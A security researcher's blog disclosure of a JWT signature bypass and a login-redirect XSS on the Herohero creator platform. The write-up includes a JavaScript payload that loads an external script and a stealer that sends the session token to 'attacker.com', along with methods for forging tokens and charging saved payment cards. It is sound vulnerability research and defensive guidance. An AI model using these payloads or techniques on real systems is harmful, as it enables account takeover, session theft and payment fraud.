Herohero: All User Data Was at Risk – Potential Theft of Tens of Millions of CZK
August 1, 2024
In this blog post I will describe two serious security vulnerabilities found on the Herohero platform that allowed complete access to any user's account.
With one of the bugs, it was possible to use any account at all – you just needed to know the profile URL. No interaction from the user (e.g. entering credentials) was required.
With the account, you could then do almost anything — edit/delete/add posts, read and write private messages, create links for free lifetime subscriptions, or change the subscription price. In addition to these standard functions, it was also possible to use the user's payment card. All of this without their knowledge, including bypassing their configured 3D Secure protection. 💀
This entire post is also available as a video:
Chapters:
- Herohero
- How I Proceeded (Technical Write-up)
- Summary of Discovered Vulnerabilities
- Videos and Exploit
- Exploitation Examples
- Card with 3D Secure — Am I Safe? Not Quite
- A Bug with an Impact Worth Tens of Millions of CZK
- How to Minimise the Risk of Exploitation in the Future
- Where Did Things Go Wrong? Recommendations for Developers
- Summary
- Timeline
Herohero
Herohero (https://herohero.co) is a Czech alternative to Patreon. It is a platform for creators who want to share their content with their fans. The site operates on a monthly subscription basis. Users subscribe to selected creators and thereby gain access to their exclusive content.
This platform is popular among creators primarily due to its Czech origins, its simplicity, and lower administrative fees compared to the competing service Patreon.
Creators who publish on Herohero include, for example, Martin "Mikýř" Mikyska, Čestmír Strakatý, Ondřej Novotný, Petr Mára, Stejk, Kovy, Kluci z Prahy, and many others.
The platform's great popularity prompted me to take a closer look at Herohero from a security perspective. I therefore contacted co-founder Vojtěch Otevřel before the Easter holidays in 2023 and, after the holidays, sent a multi-page report of my findings. This was a personal initiative, not a commissioned security test (penetration test).
How I Proceeded (Technical Write-up)
In the report I sent, I described a total of six findings. I will discuss the two most serious vulnerabilities in more detail in the sections below.
And I will start with the most critical one…
Herohero uses JSON Web Tokens (JWT) for user authentication.

At the time of reporting, this token was sent as the Authorization value in the request header (Authorization: Bearer <token>). It is now used in cookies under the name accessToken2.

The JWT token for the user testaccountjednaqgymildk at the time of testing looked as follows:
eyJhbGciOiJSUzI1NiJ9.eyJpZCI6InRlc3RhY2NvdW50amVkbmFxZ3ltaWxkayIsImV4IjoxNjgwODc2NTU2LCJybyI6MH0.tz_zh6BgDfRniBvDRq0G2wacdBSAeopolGKBieoHmN7jX7Ocf-Jy5bV2mG_IOU9RKigfVQtvhTaRU3wsNJfDcqMexZDWzWRrXYONIpjmcx1XvT5UAmK5Zufec01ypgSB3Oj3_qUnA_K8Q-zT6tjEAEYOwu6UcZr5FQbT986WJabV8XJdIplhVi5UULwL8O0SpztNcnGtcLzNFJfx009BzPNhkC8VCbQBnrAQkCosRDYZtZc2rUegST-T4b1PIKZkfzsPRYBNqy5-_BWlNqy5DhlBOKKAItpoVmNR97j_P_f2EJVCCYU3IQbQ1_Roq9vXJYD5y6tX_1tOoWgPLywfxA
The result after Base64 decoding was:
{"alg":"RS256"}.{"id":"testaccountjednaqgymildk","ex":1680876556,"ro":0}.tz_Î7Ñ o
´lqÐRê)¢Q'¨c{~Îq-'.[Wi_IOU9RKigfVQtvhTaRU3wsNJfDcqMexZDWzWRrXYONIpjmcx1XvT5UAmK5Zufec01ypgSB3Oj3_©IÀ_K8Q-Í>@`ì.éG¯Pm?|ébZm_%Ò)båEÀ¿Ñ*s´×'×ÌÑI4ôÏ6ñP@ë ¢ÄCaYsjÔz-Oõ<üì=6¬¹-_iM«.CPN( ¶Ô}î_P_a T Srm
_F½½rXºµ_1tOoWgPLywfxA
In the first part of the token you can notice that the RS256 algorithm is used to sign the payload. This signature is then used to verify that the content of the JWT token has not been tampered with. Any change to the token results in a signature mismatch = invalid JWT token.
My first step was to test whether this verification was working. I therefore changed the user ID in the token while keeping everything else unchanged.
When the user ID was changed, the token was not accepted and a "401 Unauthorized" response was returned. Perhaps a slightly naive attempt, but I had to try.
For modifying JWT tokens in Burp Suite, I recommend the JSON Web Tokens extension, which preserves valid token formatting when data is changed.
When testing JWT tokens, the first thing I usually try is the so-called "None Algorithm Attack". I know this type of vulnerability from various public reports and JWT testing labs, but I had never encountered it in a real environment before.
It involves changing "alg" in the header from "RS256" to "none". By changing the signing algorithm to this value, it becomes possible to remove the signature part of the token entirely, since the verification signature is no longer needed – after all, the "none" algorithm is set. 🙂
I tried modifying the JWT token of my own account in this way.
Request with {"alg":"RS256"}

Request with {"alg":"none"} without a signature

By changing the "alg" value to "none" and removing the signature, Herohero executed the request as valid. The part of the JWT responsible for preventing changes (the signature) could therefore be omitted entirely.

As I described above, my first attempt was to change the user ID with the signature from my own profile, which resulted in a "401 Unauthorized" response. Now, however, I knew that the signature in the JWT was not needed at all.
So I set "none", removed the signature, and changed the user ID…
Request with {"alg":"none"}, user with id testaccountjednaqgymildk

Request with {"alg":"none"}, user with id emilkazumovanrbynjhs

… and the request with the changed user ID executed successfully!

I had thus discovered a security vulnerability allowing the use of any user's account on the Herohero platform → JWT Authentication Bypass. All an attacker needed was the user ID (of the victim), which was easily findable – knowing just the profile URL was sufficient.
The API endpoint https://svc-prod.herohero.co/api/v2/users?path=<PROFILE-URL> returns the user ID in its response (for example https://svc-prod.herohero.co/api/v2/users?path=cestmir).

There was one more important behaviour associated with this bug. The "alg" field did not have to be set to "none" only – any arbitrary value could be entered there and the request would still execute successfully.

The "alg" value could even be left completely empty.

Video demonstrating the JWT vulnerability:
Timeline
00:25 – Obtaining the victim's ID from the URL
00:50 – Saved request with the attacker's response
01:00 – Replacing the victim's ID in the request URL (without changing the JWT – attacker's token)
01:17 – "None" attack set and ID changed in the token
01:30 – Obtaining the logged-in user's email – victim's account
01:49 – Request sent with arbitrary text in "alg"
This was therefore not a standard "none algorithm attack" vulnerability – it could more accurately be called an "only payload attack". 🙃
This was the first vulnerability I found while testing Herohero. I already knew I would be sending a report, so I continued looking for additional vulnerabilities…
When testing web applications, I always try to find a vulnerability enabling session theft from a logged-in user – so-called Session Hijacking (found, for example, at Seznam, Košík, Fortuna, Tipsport, and others). I therefore went looking for this vulnerability here as well.
User authentication is handled via the aforementioned JWT token, which was part of the request header. This value had to be stored somewhere in the browser, since users were not logged out when, for example, the browser was closed.
After deleting all cookies, I was still logged in. I concluded that the value __herohero in localStorage was being used for the user session.
The __herohero value in localStorage:
==QfiM3YiojIlxWYj9GbiwSZzxWYmpjIsFGZv1UZilmcjNnY1NlblB3blJnIsU2csFmZ6IiclRmbp1WZSRXdvlXYQd3boNnIsU2c
sFmZ6IyZ1JWZkJCLsxWdupjIUdWay9mIsU2csFmZ6ICctlmIsISUGtEZyY0czU0atxkRJJjMzkmMxMTbSZFZwVVMHNGUu
NVVlhXOvBzNUFlbPREV3wWZ6Z3Q61iMxIFRMFUTWJFeM9kaEFmeahFTMV1QHlGSWdVWyITLKNlT2lkW5kzSTdULFBT
VDNmbE9GSzFES2VXN65GbXlTV5MmQ2ITMBBzdh1Cb0k2QfBzRtJXNoV0QONHeNF0TQF2RahGc0dWZrNTc1VDO1RkU
aZkdGVET480c4tUMZJWdQBHez8UN2lXShhDdzxGSadmRtRHZulHVxMjZwRzduNWYHZ1UntGODpEbTJUdT9kT1FUUM9
Ual5mMXZEbjZGOxVzYWBlcQ5mcLp3XthHT0lXefN2Q0JkduZ2cqNzdNFUVZBXbZ9mSvhkZwd0V48WW1R1V5FjejN1Ma
N3MVRnVYtUZJZ0S3AXb0QHO3E3RrhTcxYEdyFEVwMmQq1SbKl3a1VnLwgUT2kUeilnSDxENjR1TzEEVPd3Zq5EevpWS
0YVbJNXS5F2a4dVY0x2MahnRtJ2aW1WYwUzVkZnTykFaSNzYsJlbJZTSDpFcKlXZukjSp5UMJpXVTpUaPl2YHJGaKlXZioj
I0Jye!
Reverse (__herohero):
!eyJ0IjoiZXlKaGJHY2lPaUpTVXpJMU5pSjkuZXlKcFpDSTZJblJsYzNSaFkyTnZkVzUwYW1Wa2JtRnhaM2x0YVd4a2F5SXN
JbVY0SwpveE5qZ3dPVEEzT1RjNExDSnlieUk2TugwLnV1a3lKbS1qQmMwVEFydEYxcThrR3E3OHQ0bXA3S0ZJZUtYVnR
VM3NaM1NjejF5V1R1WW84V0dwZkhvSm9ZbXBZVUFNdzNqc2ZudkJ0Q2NfeXl0THhtX3pLcm5QclBWYzVxOGZjbEZXM
m5laU9MUUF1Tk9TdUJTbEpDOGtnU1ZHYWNudzRwZjMxVHluZHRtRmdaSGxzdDhhSXl2NU8zeHBQdWJZMUt4c084TEV
GdkZaUkR1ODV1cTNrZWd0cGhaR2FQT0FNeHNOQ0VoNXJtRzBfQ2k0bC1hdzBBMTI2QmM5VTlXbG56NXV2SEFzSG9Eb
mNDVTBFLUdTSzk5Wkl2TlNKLTIyWVdWSGlHQ1VMTFhaemFEak9MeFJWTUFMRFIxMi16Q3Z6ZWw3VERPblFUNzBvOX
hlVVNuUGNHMVVwZFZSbTMxMmkzMjJJRkxta0Uzc0YyZEtGUSIsImltcCI6ZmFsc2UsIm9yaWdUIjpudWxsLCJkZWJ1ZyI6
ZmFsc2UsInNob3dQYXlvdXRSZW1pbmRlciI6ZmFsc2UsInJlb3BlblN1YnNjcmliZU1vZGfsIjpmYWxzZSwibG9jYwxlIjoiY3M
ifQ==
Decode Base64(reverse (__herohero)):
!{"t":"eyJhbGciOiJSUzI1NiJ9.eyJpZCI6InRlc3RhY2NvdW50amVkbmFxZ3ltaWxkayIsImV4IjoxNjgwOTA3OTc4LCJybyI6MH0.uukyJm-jBc0TArtF1q8kGq78t4mp7KFIeKXVtU3sZ3Scz1yWTuYo8WGpfHoJoYmpYUAMw3jsfnvBtCc_yytLxm_zKrnPrPVc5q8fclFW2neiOLQAuNOSuBSlJC8kgSVGacnw4pf31TyndtmFgZHlst8aIyv5O3xpPubY1KxsO8LEFvFZRDu85uq3kegtphZGaPOAMxsNCEh5rmG0_Ci4l-aw0A126Bc9U9Wlnz5uvHAsHoDncCU0E-GSK99ZIvNSJ-22YWVHiGCULLXZzaDjOLxRVMALDR12-zCvzel7TDOnQT70o9xeUSnPcG1UpdVRm312i322IFLmkE3sF2dKFQ","imp":false,"origT":null,"debug":false,"showPayoutReminder":false,"reopenSubscribeModal":false,"locale":"cs"}
The value t = JWT token
Storing the user session in localStorage is entirely unsuitable from a security perspective. This entire storage (as well as sessionStorage) is accessible via JavaScript, and can therefore be read using an XSS vulnerability. A more secure approach is to store the session in cookies with the HttpOnly attribute.
Since the session was in localStorage, all I needed to do was find an XSS vulnerability.
I tested several available functions (adding a post, sending a private message, adding an attachment…), but all were well-sanitised.
Even if I had found a bug, I would likely have run into a minor obstacle. Herohero is one of the few companies that uses the Content-Security-Policy (CSP) security header.

The header could be bypassed, but it would have made things somewhat more complicated...
I thought I would not find an XSS within a reasonable time, but in the end I did.
While testing, I was using various accounts and noticed that the login request, in addition to the email address, also sent a URL value (redirectURL) used to redirect the user after login.

The redirectURL value sent caught my attention, so I began examining it more closely…
I found that when opening a login link (for example: https://herohero.co/services/auth/email/v1/finish?tokens=ckfepynzjbqhnigrxosgyahaazkftvhj), the redirectURL is used in the response, specifically as window.location.href.

Since window.location.href is already JavaScript, I tried inserting JavaScript code directly into the redirectURL.
';alert(1);//
'; - closing window.location.href
alert(1); - triggering an alert as proof of XSS
// - commenting out the remainder

After opening the login link, everything was reflected in the response:

And the alert was displayed in the browser.


Video demonstrating the XSS vulnerability:
0:33 – Creating a link to a non-existent URL
2:32 – Creating a link containing an alert
3:00 – Opening the login link with XSS
As I mentioned, Herohero uses a CSP header. As it happened, this header was not applied to the login link, which increases the exploitability of the XSS vulnerability.

This enabled an attacker to load their entire script from an external source.
The resulting redirectURL value could look like this:
';d=document;s=d.createElement('script');s.src='https://example.com/x.js';
d.getElementsByTagName('head')[0].appendChild(s);//
Stored XSS loading an external script:
An attacker could thus create their own login link containing a custom script. Any user who followed this link would have their session stolen – the value of _herohero from localStorage would be exfiltrated via JavaScript.
An attacker would of course not use a login link in its raw form during an attack. They would more likely use a custom domain, a URL shortener (bit.ly, t.co…), or exploit an Open Redirect vulnerability at a trusted company. After a successful attack, the user would naturally be redirected back to the original website.
These were the two most serious vulnerabilities found during the test. With both bugs it was possible to use any third-party account. The JWT Authentication Bypass vulnerability allowed logging in as any user with no assistance from the victim at all – a so-called 0-click attack – simply by entering the profile ID. The second vulnerability (Session Hijacking – Stored XSS) required the victim to open a link.
Summary of Discovered Vulnerabilities
Below you will find a summary of the discovered vulnerabilities. A more detailed explanation of the impact will be provided in the Exploitation Examples section.
1) JWT Authentication Bypass
Description
Herohero used JWT tokens with the RS256 algorithm for user authentication. This algorithm could be changed in the token to any arbitrary value and the verification part (signature) – which normally verifies that the token has not been tampered with – could be omitted entirely. In other words, a "none algorithm attack" was possible, with the difference that instead of "none", any value could be entered.
This flawed verification made it possible to change the user ID in the token, and upon sending, the request was authenticated as that user. An attacker was then able to change the ID to any user and use their account.
The user ID is not predictable (e.g. id=10001, 10002, 10003), but it was still easily discoverable via the API. An attacker could enumerate the subscriber lists of creators, thereby obtaining tens of thousands of user IDs and thus gaining access to tens of thousands of accounts.
In less technical terms
An attacker was able to log in as any user on the platform. All they had to do was remove the "security verification" part from the authentication token and replace their own ID with the target account's ID. Despite the absence of the "security part", the login on the platform succeeded, and the attacker could then use the victim's account.
Advantages (from an attacker's perspective):
- 0-click vulnerability (no interaction required from the victim)
- Login as any user (access to private messages, publishing posts from a creator's profile…)
- Logging out the victim had no effect on the logged-in attacker
- Large numbers of user IDs could be obtained via a creator's subscriber list
- High financial gain
additional: - Herohero operates on a subscription basis, not one-off contributions
→ payment card has a different flag (explained in the next section) - Payments go directly through the payment processor Stripe, not through Herohero
→ disputing payments would be more complicated - Popular service among content creators
→ large selection of communities for sharing posts/scams
Disadvantages:
- User IDs cannot be simply incremented (e.g. id=10025, id=10026, id=10027…)
→ this can be circumvented by enumerating subscriber lists
Severity: CRITICAL (higher – 10.0)
Availability was affected (deletion of all posts and messages), and both integrity and confidentiality were compromised (editing posts, reading private messages). In addition, it was possible to extract financial resources from users on a large scale. The vulnerability was of the "0-click" type – the attacker required no interaction from the victim.
2) Session Hijacking (Stored XSS + localStorage)
Description
Two discovered bugs combined to make it possible to steal a logged-in user's session (Session Hijacking).
The first bug was that the user session was stored in localStorage, meaning the value was not protected against being read by JavaScript. The second bug was that the redirectUrl value used in the login request was not properly sanitised against XSS.
Logging in to Herohero involves entering an email address, to which a login link is sent. When submitting the email, a request is sent that includes, in addition to the email, a redirectUrl value that under normal circumstances redirects the user back to the page they were logging in from. Because this value was not sanitised, arbitrary script execution was possible.
The login link contained only a hash (https://herohero.co/services/auth/email/v1/finish?tokens=ckfepynzjbqhnigrxosgyaha), making this a Stored XSS vulnerability.
By combining the Stored XSS vulnerability with the insecurely stored session in localStorage, it was possible to steal a user's session. This bug required assistance from the victim – the user had to open the attacker's link.
In less technical terms
An attacker could insert custom code into a login link to steal the "login token" stored in the browser. If a logged-in Herohero user opened the attacker's link, their session (AccessToken) would be stolen and it would be possible to log in to their account.
Advantages (from an attacker's perspective):
- No further assistance was required beyond opening the link
- It was possible to use the XSS vulnerability alone
→ all activity would be logged under the victim's IP/device - A single link opened by a creator could spread very rapidly
→ opening the link → creating a post + sending a private message with the link to all followers - Missing Content-Security-Policy header
- High financial gain
additional: - Herohero operates on a subscription basis, not one-off contributions
→ payment card has a different flag (explained in the next section) - Payments go directly through the payment processor Stripe, not through Herohero
→ disputing payments would be more complicated - Popular service among content creators
→ large selection of communities when sharing posts/scams
Disadvantages:
- Cannot log in as any arbitrary user
- The user had to reach the login link somehow
→ redirect from an external page / opening a link in private messages / opening an email from Herohero - This is Session Hijacking – logging out the victim causes the session to expire
Severity: CRITICAL (lower)
Even though victim interaction is required (opening a link), I cannot rate this as HIGH, because the financial impact could still be enormous. The issue of opening the link could be resolved by creating a post from a creator's profile – these posts commonly contain links. Alternatively, it could be done by editing the bio text and replacing all links, or by sending a private message. Stored XSS is typically rated as HIGH; in this case the overall impact also needs to be factored in (All exploitation examples).
Videos and Exploit
1) JWT Authentication Bypass
The video below shows how changing the user ID in the token made it possible to use the target account:
0:08 – Obtaining the target account's ID
0:30 – Setting "none" for JWT
1:04 – Adding an explicit post
1:26 – Adding a crypto scam post
1:52 – Obtaining data for changing the subscription
2:47 – Changing the subscription from 20€ to 3€
3:13 – Verifying the changes
Before the test on Herohero itself, I asked co-founder Vojtěch Otevřel for cooperation. I asked him to create a profile that I could "attack" and, if successful, make several changes to.
Email with the requests:

The account was ready the same day (https://herohero.co/testovaci):

A few days later I sent the report with the following result:

Test account before and after the test:

Video showing the complete procedure:
Timeline
1:20 – Obtaining the JWT token for the /testovaci account
1:45 – Adding a post with an "explicit" image
2:06 – Adding a post with a crypto scam
3:04 – Retrieving private messages
3:40 – Sending a private message
6:52 – Obtaining a free subscription link
9:56 – Changing the subscription from 400€ to 3€
11:26 – Preparing to pay with the stored card
13:30 – Paying for Čestmír Strakatý's subscription (the card belongs to the co-founder)
All changes were made via the API. The session could also be replaced directly in localStorage and all changes could be made through the browser as well.
2) Session Hijacking (Stored XSS + localStorage)
Summary of findings before writing the exploit
- Session in localStorage
- Vulnerable returnURL containing XSS
- Missing CSP header – ability to use an external script
Creating a Herohero link that loads my external script:
';d=document;s=d.createElement('script');s.src='https://example.com/x.js';
d.getElementsByTagName('head')[0].appendChild(s);//
The content of the external script (example.com/x.js) was:
var session = window.localStorage.__herohero;
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
window.location.href = 'https://target-url.com'; // redirect to target page after session theft
}
};
xhttp.open("GET", "https://attacker.com/cookies.php?c="+session, true); // sending request to attacker's server
xhttp.send();
Description:
- The created login link loads an external script from example.com/x.js
- The script reads the __herohero value from localStorage
- A GET request containing the read value is sent to the attacker's server
- After the value is sent, the user is redirected to the target address
All Exploitation Examples
Below I will describe the impact of the JWT Authentication Bypass vulnerability.
The Session Hijacking (XSS) vulnerability had a similar impact, but required one interaction from the user – opening a link. On the other hand, all activity could take place from the victim's device. Everything would be logged from the same device (same browser) and the same IP address, making any disputes or attempts to prove wrongdoing extremely difficult.
1) 🔗 Creating Invite Links
An attacker was able to create a link for any creator that granted free lifetime subscriptions. An unlimited number of such invitations could be generated.
2) 📉 Changing the Subscription Price
For any creator, the attacker could change the subscription price. The user is not notified of this change and would have to notice the different setting themselves. Before the change could be reverted, the creator could lose a portion of the revenue they would otherwise have received from subscribers.
3) 💬 Reading, Deleting, and Sending Private Messages
Not only could the attacker read all messages and delete entire conversations, but they could also send new private messages under the victim's account – for example, fraud (crypto scams) or links exploiting the security vulnerability (Session Hijacking/XSS).
4) 📄 Adding, Editing, and Deleting Posts
The attacker was able to publish content under any creator's profile: they could post explicit images, political posts during election season, posts with crypto scams, and more. They could also delete all posts.
5) 🗃️ Obtaining the Entire Herohero Database
The attacker could log in as any creator and retrieve their complete subscriber list. Additional users could be obtained, for example, through the search function. This would yield a list of users and subsequently their data – all posts, all private messages, user identification details (email, card expiry and last four digits) or creator identification details (name, surname, address, subscription income… later it was also possible to obtain phone number and date of birth).
6) 💳 Using Stored Payment Cards to Pay for the Attacker's Profile
The attacker was able to use the stored cards of all users – cards with which a payment had already been made once (already verified via 3D Secure). This could have caused enormous financial damage 💰 (details in the A Bug with an Impact Worth Tens of Millions of CZK section)
Card with 3D Secure — Am I Safe? Not Quite
Making online payments by card probably doesn't require any special explanation. It is a popular payment method on many websites today.
From a security perspective, the established 3D Secure technology is widely mentioned as protection against payment card misuse. When a payment gateway uses this technology, each payment is subject to additional verification via a second factor (push notification, SMS), which should prevent misuse.
This might make it seem that online card payments are completely safe and that misuse cannot occur. However, there is one very serious risk – saving a payment card.
Companies offer this feature claiming that card details are not stored with them and that nobody can misuse the data. It is true that payment card information (card number, CVC) cannot be retrieved. What matters to an attacker, however, is that a saved card can usually be used without further verification on that particular site. This is a general problem with all e-shops and portals.
What does this mean? An attacker who gains access to an account on any platform can make transactions on that site. To give an example: if an attacker gains access to your account in a food delivery app where a card is saved (Wolt, Foodora, Bolt Food), they can use the card to order any food at your expense.
Test payment on Rohlik.cz:
Date: 23.07.2024
Payment: 4,485.12 CZK
Settings: 51.178.37.209 (France), Firefox, Linux (different from usual)
Delivery address was different from usual
Payment without transaction confirmation: Yes ⚠️
This is a very common form of exploitation, as an attacker needs some way to "monetise" the obtained account access. The only thing they can do is place an order and pay for it using the stored card. In some cases, a change of IP address or device will trigger re-authentication for payment. Either way, the impact is limited and the attacker gains at most whatever the application/e-shop offers.
When payment is based on a subscription (Netflix, Voyo, Spotify, etc.), the situation is significantly different. After the first successful transaction, the card is saved and subsequent payments are charged automatically EVERY TIME without further verification. An important aspect is that single-use virtual cards cannot be used for these subscriptions.

Attempt to pay with a single-use Revolut card on Herohero
On subscription platforms, the attacker is again very limited by what they can pay for with the card. In most cases, the attacker can extend a membership/licence (Adobe, Voyo, Netflix) for some period, from which they gain no significant profit.
On Herohero and similar platforms (Patreon, Twitch, YouTube), however, they have completely different possibilities. An attacker is able to create their own creator profile with any subscription amount and purchase this profile using the stolen account. This gives them direct access to funds, which are paid out through the payment processor. For Herohero, that is Stripe.
The problem with Herohero – or rather Stripe – is that even if the subscription amount changes, the creator changes, the IP address changes, or literally the entire device changes, it is still possible to make a payment with a stored card without further verification. The amount does not even have to be under 500 CZK or under 1,000 CZK – payments without further verification also went through for amounts of 5,000 CZK (200€), or even 10,000 CZK (400€ – the highest possible subscription).
When you consider that it was possible to log in as any user and that tens of thousands of user IDs could be obtained via subscriber lists, it is clear that this was an extremely serious problem.
To verify that payments on Herohero actually worked this way, I conducted several tests. I created several new accounts and paid for subscriptions from various creators, which automatically saved my payment card. After some time, I "stole" my own session, logged in on a different device, and made another payment (subscribing to my own creator profile Creator).
Revolut
Date: 19.8.2023
Payment: Čestmír Strakatý (5€)
Settings: 146.70.129.19, Chrome, Windows
First payment – card saved 💾
Date: 29.11.2023 (account inactive for 3 months)
Payment: Creator (200€)
Settings: 192.42.116.196 (TOR), Firefox, Linux
Payment without confirmation: Yes ⚠️
Video of the payment:
Česká spořitelna
Date: 25.11.2023
Payment: Čestmír Strakatý (5€)
Settings: 146.70.129.30, Chrome, Windows
First payment – card saved 💾
Date: 27.11.2023
Payment: Creator (45€)
Settings: 185.220.102.245 (TOR), Firefox, Linux
Payment without confirmation: Yes ⚠️
Date: 19.07.2024 (account inactive for nearly 8 months)
Payment: Creator (400€)
Settings: 51.195.116.184, Firefox, MacOS
Payment without confirmation: Yes ⚠️
Airbank
Date: 25.11.2023
Payment: Petr Mára (10€)
Settings: 146.70.129.19, Chrome, Windows
First payment – card saved 💾
Date: 27.11.2023
Payment: Creator (45€)
Settings: 192.42.116.187 (TOR), Firefox, Linux
Payment without confirmation: Yes ⚠️
Date: 13.07.2024
Payment: Petr Mára (10€)
Settings: 109.123.234.151, Chrome, Windows
Payment without confirmation: Yes ⚠️
Fio Banka
Date: 29.11.2023
Payment: Michael Rozsypal (4€)
Settings: 146.70.129.19, Chrome, Windows
First payment – card saved 💾
Date: 29.11.2023
Payment: Creator (25€)
Settings: 109.70.100.1 (TOR), Firefox, Linux
Payment without confirmation: Yes ⚠️
Google Pay (Česká spořitelna)
Date: 25.11.2023
Payment: Martin "Mikýř" Mikyska (6€)
Settings: 146.70.129.30, Chrome, Windows
Paying via Google Pay also results in the payment card being saved 💾
Date: 27.11.2023
Payment: Creator (25€)
Settings: 185.241.208.243 (TOR), Firefox, Linux
Payment without confirmation: Yes ⚠️
A Bug with an Impact Worth Tens of Millions of CZK
Reputational Damage to Creators
For creators, this could have caused irreparable reputational damage, significantly affecting their future collaborations. Petr Mára put it well in an interview with Vojta Žižka.
Source: Vojta Žižka (Patreon)
As it happens, Petr Mára also uses Herohero. Imagine a situation where the following post is added to his profile:
"New Memento Mori drop, this time as an NFT collection. Exclusively for supporters on Herohero. Owning the NFT grants the holder a lifetime subscription."
Would it be credible? Fairly, yes. In the past he had several similar campaigns for his Memento Mori brand (https://mementomori.pm), always involving physical merchandise. An NFT collection from Petr Mára would not be surprising. That was of course a milder example – in a worse case it could involve promoting a "shitcoin", for example:
"I've long been interested in investing in cryptocurrencies. Exclusively for my supporters on Herohero, I'm sharing a tip about an interesting opportunity I personally believe in strongly. The newly launched cryptocurrency XYZ can be purchased at…"
I dare say that would be very difficult to communicate away. Some supporters might conclude: "He tried it, it didn't work out, and now he's blaming a hacked account. I hope he at least got paid well for it." 🙃
This was an example from just one creator. Another could involve promoting a political party before an election. Can you imagine Čestmír Strakatý posting a statement of support for the communist party? That would certainly require uncomfortable explanations and justifications on his part. He would likely also permanently lose a portion of his subscribers, even after the situation was clarified.
Countless similar examples could be devised. It would all depend on whether the attacker was targeting financial gain (crypto scams/NFTs), a specific promotion, or reputational destruction.
How much would political posts across several major creators cost?
How much would a post promoting a "shitcoin" be worth?
How much would an attacker gain from cryptocurrency/NFT purchases?
How do you put a price on irreversible reputational damage?
If I attempted to calculate everything, the lower bound of costs/damages would be at least 10 million CZK.
Potential damage: at least 10,000,000 CZK
Financial Damage to All Users
In addition to the creators themselves, significant financial damage could have been caused to all users on a large scale.
As I described above, on Herohero it was possible to use the stored payment associated with every subscriber's account. An attacker could use the stored card to purchase a subscription to their own profile, thereby receiving funds into their Stripe account.
A few days after reporting the vulnerability, an article was published in Hospodářské noviny stating that Herohero had over 65,000 users – "There are already over 600 creators like Lukášková on Herohero. Over 65,000 users pay for their content. And more are joining every day." (source: Hospodářské noviny, 2 May 2023)
If an attacker charged each user 10€, they would obtain 585,000€ (after deducting Herohero's 10% fee), which is just under 15,000,000 CZK.
Potential damage: 15,000,000 CZK
Had the attacker waited some time, by July 18, 2024 they could have manipulated the accounts of at least 150,000 users – calculated as the sum of the top 50 largest accounts (link). There may be overlapping users, but this is offset by not counting the remaining creators – everyone below 984 subscribers. The damage could therefore have been substantially higher. If each user was again charged 10€, the attacker would net 1,350,000€ – approximately 34,000,000 CZK.
Potential damage: 34,000,000 CZK
The examples above use a charge of 10€, but an attacker could also try higher amounts (the most expensive subscription being 400€). In addition, they would not need to make just one payment per user – multiple payments could be made (via several created profiles) up to the card's limit or until the account balance was exhausted. The financial damage could therefore have been many times greater.
The above examples are of course extremely extreme and would likely never have occurred ⚠️. With that volume of transactions, it would have been very suspicious. Herohero would have noticed an unusual surge in subscribers and would likely have started blocking and investigating the activity. Stripe would have frozen the attacker's account payouts. I believe, however, that a large proportion of the payments would have gone through. It would then certainly have taken some time to resolve the situation and return the funds.
If the attacker had operated "sensibly" on a smaller scale, the question is how long they could have kept it up. Given the number of users, Herohero processes several thousand transactions per day. A few dozen or hundred transactions would certainly have been lost in the noise. The attacker also knew precisely whether a target user had any active subscriptions and to which creators. They could have created a profile with a nearly identical name and had it charged to the stored card. How many users would bother disputing a payment that came a few days early? Do you know the exact day your subscription renews? 🤔
The attacker did not have to charge only their own profile – they could also have paid for an already established creator's profile (see payment using the Herohero co-founder's stored card). When using the XSS vulnerability, proving intent would be extremely difficult, since the transaction would have originated from the victim's device. In this case the attacker would gain nothing, but the damage would still have occurred. If their Stripe accounts were blocked and the security bugs still unpatched, why not give a favourite creator a boost to their monthly earnings?
Alternatively, they could have operated in the opposite direction – against creators – by deliberately lowering their subscription prices. The creator is not notified of this change and would have to revert it themselves. In the meantime, they could lose a portion of their income. An example would be "Jediný rozhovor v životě" by Martin Mikyska (Mikýř). He probably wouldn't be pleased if, at the moment the interview premiered, the subscription price was changed from 10€ to 3€. 🙃
How to Minimise the Risk of Exploitation in the Future
For all users who use a payment card online, I would recommend the following:
- Use a payment card that is not linked to your main bank account
– ideally have a separate bank account with a dedicated payment card for online purchases; the goal is to keep your finances separated
- Set a sensible (low) spending limit for online payments
– the default is often 5,000 CZK; if that amount was in the account, an attacker could make a payment up to that value
- Remove your payment card from portals where you are no longer using the service (no longer paying for a subscription)
– remove saved cards e.g. from food delivery services, software subscriptions – an attacker can still misuse the card
– check in your banking app where your payment card is saved (if the app allows this)
– also check automatic payments on PayPal (automatic payments)
Tips on how to (partially) tell whether a company takes security seriously in its product:
security.txt
Security.txt is an established RFC standard in the form of a simple text file containing contact information for reporting discovered security vulnerabilities.
The file is typically located at https://example.com/.well-known/security.txt. The presence of this file at least suggests that someone in the company is responsible for security. It signals that, should a vulnerability be found, they want to be informed so the matter reaches a competent person immediately.
Examples of companies with security.txt:
https://patreon.com/.well-known/security.txt
https://www.forendors.cz/.well-known/security.txt
https://www.seznam.cz/.well-known/security.txt
https://www.instagram.com/.well-known/security.txt
https://www.google.com/.well-known/security.txt
LinkedIn – list of employees focused on security
Another step can be checking the company's employee listing on their LinkedIn profile. If someone with a security focus works at the company, they will likely be findable there. Again, this is supplementary information about whether someone in the company is actively working on security.
https://www.linkedin.com/company/patreon/people/?keywords=security
https://www.linkedin.com/company/seznam.cz/people/?keywords=security
Job ads seeking security team members
If a company is actively recruiting security specialists, it means at least two things: either they already have their own security team, or a new team is being formed. In both cases, it is a sign that they want to address security proactively.
https://www.metacareers.com/jobs?q=security
The company conducts penetration tests (security testing)
Every company handling user sensitive data and finances should conduct security tests to ensure their protection.
Finding out whether a company carries out security testing can be very difficult. I only see this information disclosed in exceptional cases. If they have an in-house security team, they likely conduct the tests themselves and won't reveal details. If they don't have an in-house team, however, they should have their product/service tested by an external company. In that case, they could at least disclose which firm conducted the penetration test, which could then be verified.
Active Bug Bounty Programme or Vulnerability Disclosure Programme (VDP)
Every larger company that publishes these programmes acknowledges that nobody is infallible. They want to learn about any potential bugs as soon as possible, and therefore offer financial rewards for finding security vulnerabilities. This provides them with continuous testing by security researchers.
Trezor Security Policy
Seznam Security Policy
Patreon Security Policy
TikTok Bug Bounty
Google VRP
Where Did Things Go Wrong? Recommendations for Developers
I would recommend every developer check their use of JWT for user authentication.
In Herohero's case, the specific bug was:
- jwtParser(key).parse(this)
+ jwtParser(key).parseClaimsJws(this)
